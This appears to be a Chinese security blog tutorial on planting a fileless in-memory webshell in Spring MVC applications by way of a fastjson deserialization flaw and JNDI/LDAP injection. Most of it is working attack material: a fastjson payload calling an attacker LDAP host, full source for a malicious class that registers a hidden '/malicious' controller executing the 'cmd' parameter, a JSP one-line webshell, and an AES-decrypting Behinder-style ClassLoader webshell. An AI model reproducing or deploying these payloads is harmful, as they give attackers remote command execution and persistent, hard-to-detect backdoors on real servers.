1 基礎
實際上java記憶體馬的注入已經有很多方式了，我在學習中動手研究并寫了一下針對spring mvc應用的記憶體馬。
一般來說實作無檔案落地的java記憶體馬注入，通常是利用反序列化漏洞，是以動手寫了一個spring mvc的後端，并直接給了一個fastjson反序列化的頁面，在假定的攻擊中，通過jndi的利用方式讓web端加載惡意類，注入controller。
一切工作都是站在巨人的肩膀上，參考文章均在最後列出。
1.1 fastjson反序列化和JNDI
關于fastjson漏洞産生的具體原理已有很多分析文章，這裡使用的是fastjson1.24版本，poc非常簡單
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
當web端使用fastjson對上面的json進行反序列化時，受到@type注解的訓示，會通過反射建立com.sun.rowset.JdbcRowSetImpl類的對象，基于fastjson的機制web端還會自動調用這個對象内部的set方法，最後觸發JdbcRowSetImpl類中的特定set方法，通路dataSourceName指定的服務端，并下載下傳執行服務端指定的class檔案，細節這裡不做更詳細的展開。
1.2 向spring mvc注入controller
學習了listener、filter、servlet的記憶體馬後，想到看一看spring相關的記憶體馬，但沒有發現直接給出源代碼的controller型記憶體馬，是以學習并動手實作了一下(spring版本4.2.6.RELEASE)。
首先站在巨人的肩膀上，可以知道spring mvc項目運作後，仍然可以動态添加controller。普通的controller寫法如下
public class InjectToController{
public InjectToController(){
// 1. 利用spring内部方法擷取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 從context中獲得 RequestMappingHandlerMapping 的執行個體
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通過反射獲得自定義 controller 中的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 4. 定義通路 controller 的 URL 位址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 5. 定義允許通路 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在記憶體中動态注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
xxx
}
} 步驟1中的context可以了解為web端處理這個請求時，目前線程内所擁有的各種環境資訊和資源
步驟2中擷取的mappingHandlerMapping對象是用于注冊controller的
步驟3中的反射是為了獲得test這個Method對象，以便動态注冊controller時，告知接收到給定url路徑的請求後，用那個Method來處理，其中InjectToController類就是我們的惡意類
步驟4定義的url對象是為了指定注入url，這個url就是我們的記憶體馬路徑
步驟5是告知注入的url允許的請求方法
步驟6中RequestMappingInfo填入的資訊類似于@RequestMapping注解中的資訊，即url、允許的請求方法等。是真正注冊controller的步驟
InjectToController這個類就是我們的惡意類，其中定義了test方法，這個方法記憶體在執行指令，當然也可以替換成冰蠍、哥斯拉的webshell核心代碼，以便使用這兩個工具。InjectToController的完整代碼在後面的章節可見
1.3 擷取request和response
常用的jsp一句話webshell代碼如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由于jsp檔案被執行時，會自動獲得了request這個資源，是以一句話木馬不需要考慮如何擷取request這個對象。但在我們注入controller的流程中，惡意java類的編譯是由攻擊者完成的，web端直接執行編譯好的class檔案，顯然不可能像上面圖檔中用注解的方式在讓test方法(InjectToController中的)的參數自帶request， 是以再一次站在巨人的肩膀上
https://www.jianshu.com/p/89b0a7c11ee2，通過spring的内部方法擷取到request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 如果spring mvc項目部署在tomcat下，也可以用針對tomcat擷取requeset的方法，例如從ThreadLocal、Mbean和Thread.getCurrentThread擷取(後方參考文獻中已給出)
1.4 阻止重複添加controller (非必須)
經過調試發現，上面擷取的mappingHandlerMapping中有一個mappingRegistry成員對象，而該對象下的urlLookup屬性儲存了已經注冊的所有url路徑，對mappingHandlerMapping進一步後發現，以上對象和屬性都是私有的，且mappingRegistry并非mappingHandlerMapping中建立的，而是來自于基類AbstractHandlerMethodMapping。
反射擷取urlLookup和判斷我們給定的url是否被注冊的代碼塊如下
// 擷取abstractHandlerMethodMapping對象，以便反射調用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射調用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射擷取urlLookup屬性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判斷我們想要注入的路徑是否被已經存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
} 2 實驗
2.1 搞個spring mvc的測試環境
這裡用idea做了一個maven+spring mvc+tomcat的測試環境，友善随時換spring、fastjson和tomcat的版本。這個Web應用的功能有兩個：
/home/postjson，可以輸入json并POST給/home/readjson
/home/readjson，使用fastjson解析json，觸發反序列化的rce
推薦一個 Spring Boot 基礎教程及實戰示例：
https://github.com/javastacks/spring-boot-best-practice2.2 惡意類源代碼
通過JNDI注入讓服務端執行的代碼如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一個構造函數
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 從目前上下文環境中獲得 RequestMappingHandlerMapping 的執行個體 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可選步驟，判斷url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可選步驟，判斷url是否存在
// 2. 通過反射獲得自定義 controller 中test的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定義通路 controller 的 URL 位址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定義允許通路 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在記憶體中動态注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 建立用于處理請求的對象，加入“aaa”參數是為了觸發第二個構造函數避免無限循環
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二個構造函數
public InjectToController(String aaa) {}
// controller指定的處理方法
public void test() throws IOException{
// 擷取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 擷取cmd參數并執行指令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
} 由于fastjson反序列化時，自動下載下傳并執行編譯好的class檔案，是以要在構造函數中寫入注冊controller的步驟
反序列化時自動觸發的構造函數是第一個構造函數，因為沒有帶參數
由于registerMapping方法注冊controller時需要給一個對象和這個對象内部的處理方法，而web端隻下載下傳了InjectToController這個類，再來一次JNDI去擷取一個惡意類屬實麻煩，是以用了InjectToController injectToController = new InjectToController("aaa");，這樣就會進入第二個構造函數，而不會進入第一個構造函數無限循環。
2.3 測試
啟動spring mvc項目，通路/項目/malicious路徑，傳回404
使用marshalsec開一個ldap的服務，并指定/Exploit這個reference對應的路徑為192.168.x.x:8090/#InjectToController，再用python開一個web檔案伺服器
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){super(c);} //構造函數
public Class g(byte []b){
return super.defineClass(b,0,b.length); // 調用父類的defineClass函數
}
}
%>
<%
if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%> 可以看出，該jsp的核心功能有三點
為了友善地使用defineClass，建立了U這個類繼承ClassLoader；
使用java自帶的包，解密AES加密資料
使用defineClass加載AES解密後位元組碼，獲得一個惡意類，利用newInstance建立這個類的執行個體，并調用equals方法
2.5.2 pageContext
shell.jsp中需要特别注意pageContext這個對象，它是jsp檔案運作過程中自帶的對象，可以擷取request/response/session這三個包含頁面資訊的重要對象，對應pageContext有getRequest/getResponse/getSession方法。學藝不精，暫時沒有找到從spring和tomcat中擷取pageContext的方法。
但是從冰蠍的作者給出的提示可以知道，冰蠍3.0 bata7之後不在依賴pageContext，見github issue
又從源碼确認了一下，在equal函數中傳入的object有request/response/session對象即可
特别需要注意的是紅框内的ClassLoader.getSystemClassLoader()，如果随意給定某個繼承自ClassLoader的類，可能會出現報錯java.lang.LinkageError : attempted duplicate class definition for name。這是因為需要使用getSystemClassLoader()擷取建立ClassLoader時需要添加委派父級。
2.5.4 上冰蠍